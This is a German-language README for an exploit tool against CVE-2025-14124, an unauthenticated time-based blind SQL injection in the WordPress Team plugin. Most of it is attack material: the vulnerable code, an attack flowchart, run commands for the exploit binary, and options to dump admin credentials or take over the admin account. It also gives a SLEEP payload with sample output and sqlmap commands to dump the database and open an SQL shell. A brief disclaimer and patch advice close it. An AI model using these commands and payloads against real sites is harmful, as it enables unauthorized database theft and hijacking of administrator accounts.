
Unauthentifizierte SQL Injection (zeitbasierte Blind)
Autor: Hyun Chiya
| Feld | Wert |
|---|
| CVE-ID | CVE-2025-14124 |
| Plugin | WordPress Team Plugin |
| Betroffene Versionen | < 5.0.11 |
| Schwachstellentyp | Nicht authentifizierte SQL-Injection (zeitbasierte blinde) |
| Schweregrad | Hoch |
Das WordPress Team Plugin bereinigt und escaped den Parameter search nicht ordnungsgemäß, bevor er in einer SQL-Anweisung über eine AJAX-Aktion verwendet wird, die nicht authentifizierten Benutzern zur Verfügung steht, was zu einer SQL-Injection führt.
Der anfällige Code befindet sich in app/Controllers/Frontend/Ajax/LoadMore.php:
// Zeile 221 - Benutzereingabe bereinigt, aber NICHT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );
// Zeile 437-438 - ANGREIFBAR: Direkte SQL-Verkettung
function tlp_team_search_where( $where ) {
global $wpdb;
$term = $wpdb->esc_like( $this->s['s'] ); // ⚠️ esc_like escaped nur %, _, \
$where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)"; // ⚠️ SQLi!
}
Problem: $wpdb->esc_like() escaped nur LIKE-Wildcards, NICHT SQL-Injection-Metazeichen.
flowchart TD
A["Angreifer findet Seite mit [tlpteam] Shortcode"] --> B["Extrahiere tlp_nonce und data-sc-id"]
B --> C["POST an /wp-admin/admin-ajax.php"]
C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
D --> E{"Nonce gültig?"}
E -->|Ja| F["SQL-Abfrage mit Payload ausgeführt"]
F --> G["Zeitbasierte Erkennung mittels SLEEP()"]
style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
style G fill:#51cf66,stroke:#2f9e44,color:#fff[tlpteam] Shortcode muss existierengo build -o CVE-2025-14124.exe main.go
.\CVE-2025-14124.exe -u http://target.com
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/
.\CVE-2025-14124.exe -u http://target.com --check-only
.\CVE-2025-14124.exe -u http://target.com --delay 5
| Argument | Beschreibung |
|---|---|
-u | Ziel-WordPress-URL (erforderlich) |
--page-url | Seiten-URL mit tlpteam Shortcode |
--delay | SLEEP-Sekunden für Erkennung (Standard: 1) |
--dump | Datenbankinformationen und WordPress-Admin-Anmeldedaten extrahieren |
--create-admin | Versuch, Admin-Konto zu kapern (erfordert gestapelte Abfragen) |
--admin-user | Benutzername für Admin-Übernahme (Standard: pwned_admin) |
--admin-pass | Passwort für Admin-Übernahme (Standard: Pwned123!) |
--check-only | Nur prüfen, ob Plugin aktiv ist |
--timeout | Anforderungs-Timeout in Sekunden (Standard: 120) |
--dump)Bei Verwendung von --dump extrahiert das Tool:
Hinweis: Die Datenextraktion ist aufgrund der Natur der zeitbasierten blinden SQL-Injection langsam (~5-15 Minuten für vollständige Extraktion).
--create-admin)Versucht, das vorhandene Admin-Passwort über ein SQL-UPDATE zu ändern.
⚠️ Wichtig: Dieser Modus erfordert gestapelte Abfragen-Unterstützung, die in PHP+MySQL normalerweise deaktiviert ist. Wenn gestapelte Abfragen nicht unterstützt werden, verwenden Sie stattdessen
--dumpzum Extrahieren der Anmeldedaten odersqlmap --sql-shellfür die direkte UPDATE-Ausführung.
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14124 - WordPress Team Plugin SQL Injection ║
║ Betroffen: tlp-team < 5.0.11 ║
║ Autor: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ INFORMATION ]
[*] Überprüfe, ob das WordPress Team Plugin aktiv ist...
[+] Plugin erkannt: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin erkannt!
[*] Suche nach Seite mit tlpteam Shortcode...
[+] Team-Seite gefunden: http://target.com/our-team/
[+] Zielseite: http://target.com/our-team/
[+] Nonce extrahiert: abc123def456
[+] scID extrahiert: 42
============================================================
[*] EXPLOIT: Zeitbasierte blinde SQL-Injection
============================================================
[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Erwartete Verzögerung: ~9 Sekunden (SLEEP wird 3 Mal ausgeführt)
[*] Sende schädliche Anfrage...
[*] Antwortzeit: 9.23 Sekunden
[+] SQL-INJEKTION BESTÄTIGT!
[+] Antwort um ~9 Sekunden verzögert (erwartet: 9)
[!] Das Ziel ist anfällig für zeitbasierte blinde SQL-Injection
[!] Datenbank kann mit Tools wie sqlmap extrahiert werden
[*] Fertig.
Für fortgeschrittene Ausnutzung können Sie sqlmap verwenden, nachdem Sie die Schwachstelle bestätigt haben:
# Datenbank dumpen
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --batch --dump
# SQL-Shell (für UPDATE-Abfragen)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --sql-shell
⚠️ WICHTIG: Aktualisieren Sie das WordPress Team Plugin auf Version 5.0.11 oder höher, in der die Schwachstelle mit korrektem SQL-Escaping mittels
$wpdb->prepare()behoben wurde.
Dieses Tool wird nur für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Verwenden Sie es verantwortungsvoll.
Hyun Chiya